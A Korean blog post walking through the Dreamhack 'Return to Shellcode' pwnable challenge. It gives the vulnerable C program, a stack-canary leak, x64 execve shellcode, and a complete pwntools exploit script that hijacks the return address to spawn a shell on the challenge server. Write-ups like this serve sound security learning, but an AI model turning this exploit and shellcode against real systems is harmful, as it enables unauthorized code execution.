암호(수학) 등.. 공부한 거 잊을거 같아서 만든 블로그

[Dreamhack] Return to Shellcode 본문

Dreamhack/Pwnable

[Dreamhack] Return to Shellcode

h34hg0 2023. 4. 7. 14:51

문제


 

문제 파일 :  r2s.c

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

풀이


checksec 으로 확인한 결과, Canary가 적용되었음을 알 수 있다.

checksec --file=./r2s

 

char buf[0x50]

 
main 함수에서 선언된 버퍼는 buf밖에 없다 따라서 다음과 같은 스택 구조를 생각할 수 있다.

 
이미지 오류로 정정 하겠다. 아래 이미지에 buf(0x50) 아래에는 dummy(0x08)이 추가로 있다.
따라서 buf(0x50) + dummy(0x08) + SFP(0x08) + Ret(0x08)로 스택이 구상되어 있다.

스택 구조

 

gdb

 
gdb로 확인해 본 결과 유추한 스택구조가 맞음을 확인할 수 있다.
 
0x7fffffffde30 : buf (0x50)
0x7fffffffde80 : 0x00~~ (0x08)
0x7fffffffde88 : canary (0x08)
0x7fffffffde90 : stack frame pointer (0x08)
0x7fffffffde98 : return address (0x08)
 

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

 
위 코드를 보면 buf 의 주소 값과, buf와 SFP의 사이의 거리를 알려준다. buf의 주소를 알면 return adress의 값을 buf 의 주소 값으로 변조시켜 쉘코드를 실행하게 할 수 있다.
다음 코드는 이 값들을 저장하는 코드이다.
 

 

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
  
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

 
위 코드는 buf 에 0x100 바이트 만큼을 입력 할 수 있는 코드이다. buf의 크기가 0x50 이므로 버퍼 오버플로우가 가능하다.
따라서 버퍼 오버 플로우를 이용하여 카나리를 알아올 수 있다. canary의 첫 바이트는 0x00이므로 이 부분을 그대로 놔두면 0x00 에서 출력이 멈춘다. 그래서 0x00 부분을 오버플로우를 이용하여 다른 값으로 채우고, 나머지 7바이트를 받아와서 다시 0x00을 추가하여 cnry에 저장한다.
 

cananry 저장

 

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

 
buf에 입력을 받는 gets 함수도 스택 버퍼 오버플로우에 취약하다. 이제 카나리와 buf의 주소를 알기 때문에 return adress의 값을 buf의 주소로 바꾸어 입력한 쉘코드를 실행 할 수 있도록 만들면 된다. 
 

 
쉘코드는 아래의 어셈블리를 이용하여 만들었다.
 

x64_execve_shellcode.asm

;x64_execve_shellcode.asm

section .text
global _start
_start:
    mov rax, 0x68732f6e69622f
    push rax
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 0x3b
    syscall

 
 
이제 작성한 코드들을 정리하면 아래의 코드이다.
 

exploit.py

from pwn import *

p = remote('host3.dreamhack.games', 8815)

p.recvuntil('buf: ')
buf = int(p.recvline(), 16)

success(f'buf address : {hex(buf)}')

p.recvuntil('$rbp: ')
buf_sfp = int(p.recvline())
buf_cnry = buf_sfp - 8
success(f'buf_sfp : {buf_sfp}')
success(f'buf_cnry : {buf_cnry}')

payload = b'A' * (buf_cnry + 1)

p.sendafter('Input: ', payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))
success(f'canary : {hex(cnry)}')

payload = b''
shellcode= b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05"
payload += shellcode
payload += b'A' * (buf_cnry - len(shellcode))
payload += p64(cnry)
payload += b'A' * 8
payload += p64(buf)

p.sendafter('Input: ', payload)
p.interactive()

 
 
위 코드를 실행하면 쉘을 얻어서 플래그를 볼 수 있다.

flag

 
 

'Dreamhack > Pwnable' 카테고리의 다른 글

[Dreamhack] Return_to_Library  (0) 2023.05.04
[Dreamhack] ssp_001  (0) 2023.04.09
[Dreamhack] basic_exploitation_000  (0) 2023.04.02
[Dreamhack] basic_exploitation_001  (0) 2023.04.02
[Dreamhack] shell_basic  (0) 2023.03.22